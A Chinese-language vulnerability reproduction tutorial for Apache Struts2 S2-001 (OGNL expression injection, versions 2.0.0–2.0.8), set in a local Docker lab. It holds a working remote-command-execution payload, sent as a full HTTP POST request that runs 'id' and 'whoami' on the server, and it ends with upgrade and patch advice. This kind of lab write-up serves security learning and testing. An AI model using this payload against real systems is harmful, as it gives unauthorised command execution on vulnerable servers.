描述
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。
影响版本
Struts 2.0.0 ~ Struts 2.0.8
漏洞检测
输入%{1+1},提交返回2
1
| http://192.168.3.100:8080/S2-001/login.action
|


环境搭建
docker搭建环境:
1 2 3
| docker pull 2d8ru/struts2
docker run -d -p 8080:8080 2d8ru/struts2
|

查看环境
1
| http://192.168.3.100:8080/S2-001/
|

复现过程
使用bp抓包,发送以下payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /S2-001/login.action HTTP/1.1 Host: 192.168.3.100:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 466 Origin: http://192.168.3.100:8080 Connection: close Referer: http://192.168.3.100:8080/S2-001/ Cookie: JSESSIONID=EDCDD1C2E2D9487432F705F53D17749F Upgrade-Insecure-Requests: 1
username=admin&password=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"id"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}
|

替换命令为whoami
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /S2-001/login.action HTTP/1.1 Host: 192.168.3.100:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 466 Origin: http://192.168.3.100:8080 Connection: close Referer: http://192.168.3.100:8080/S2-001/ Cookie: JSESSIONID=EDCDD1C2E2D9487432F705F53D17749F Upgrade-Insecure-Requests: 1
username=admin&password=%25{%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),%23b%3d%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%23d%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+char[50000],%23d.read(%23e),%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),%23f.getWriter().println(new+java.lang.String(%23e)),%23f.getWriter().flush(),%23f.getWriter().close()}
|

修复建议
1、从 XWork 2.0.4 开始,OGNL 解析已更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的 %{1+1}。获取WebWork 2.0.4或Struts 2.0.9,其中包含更正后的 XWork 库。
2、获取补丁并将其应用于 XWork 源代码。重启 glassfish 后生效